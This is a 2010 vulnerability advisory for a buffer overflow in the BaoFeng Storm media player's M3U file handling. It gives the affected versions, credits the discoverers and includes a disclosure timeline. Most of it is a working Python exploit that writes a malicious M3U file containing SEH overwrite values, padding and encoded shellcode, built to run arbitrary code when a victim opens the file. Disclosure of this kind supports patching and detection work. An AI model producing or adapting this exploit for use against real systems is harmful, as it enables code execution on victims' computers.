BaoFeng Storm M3U Buffer Overflow

`BaoFeng Storm M3U File Processing Buffer Overflow Vulnerability  
  
Vulnerable: Storm2012 3.10.4.21   
Storm2012 3.10.4.16  
Storm2012 3.10.4.8  
Storm2012 3.10.3.17  
Storm2012 3.10.2.5  
Storm2012 3.10.1.12  
Other versions also may be affected  
  
Vendor: www.baofeng.com  
  
1) Software Description:  
BaoFeng Storm is very popular universal multimedia player in china.  
  
2) Details:  
A buffer overflow vulnerability in BaoFeng Storm that Processing m3u file. allows remote attackers to execute arbitrary code via a long string in an M3U file.   
  
3) Credit:  
The vulnerability was discovered by Qingshan Li and Lufeng Li of Neusoft Corporation  
  
4) Timeline:  
2010.04.26 Report to CNVD  
2010.04.29 Vendor upgrade  
2010.05.06 Public  
  
5) Exploit:  
#!/usr/bin/env python  
  
#################################################################  
#  
# Title: BaoFeng Storm M3U File Processing Buffer Overflow Exploit  
# CNVD-ID: CNVD-2010-00752  
# Found By: Qingshan Li and Lufeng Li of Neusoft Corporation  
# Download: www.baofeng.com  
# Test: Put m3u file in root(e.g. c:/ d:/),and open this m3u file  
# Platform: Windows XPSP3 Chinese Simplified  
#  
#################################################################  
file= "baofeng.m3u"  
junk ="\x41"*795  
nseh="\x61\xe8\xe1"  
seh="\xaa\xd7\x40"  
  
jmp ="\x53\x53\x6d\x58\x6d\x05\x11\x22\x6d\x2d\x10\x22\x6d\xac\xe4"  
nops ="\x42" * 110  
shellcode=("PPYAIAIAIAIAQATAXAZAPA3QADAZA"  
"BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA"  
"58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB"  
"AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K"  
"22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL"  
"MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55"  
"Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V"  
"NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB"  
"R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT"  
"NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU"  
"89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM"  
"KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"  
"QQ2LRCM0LJA")  
  
fobj=open(file,"w")  
payload=junk+nseh+seh+jmp+nops+shellcode  
fobj.write(payload)  
fobj.close()  
  
--------------  
Qingshan Li and Lufeng Li  
2010-05-06  
  
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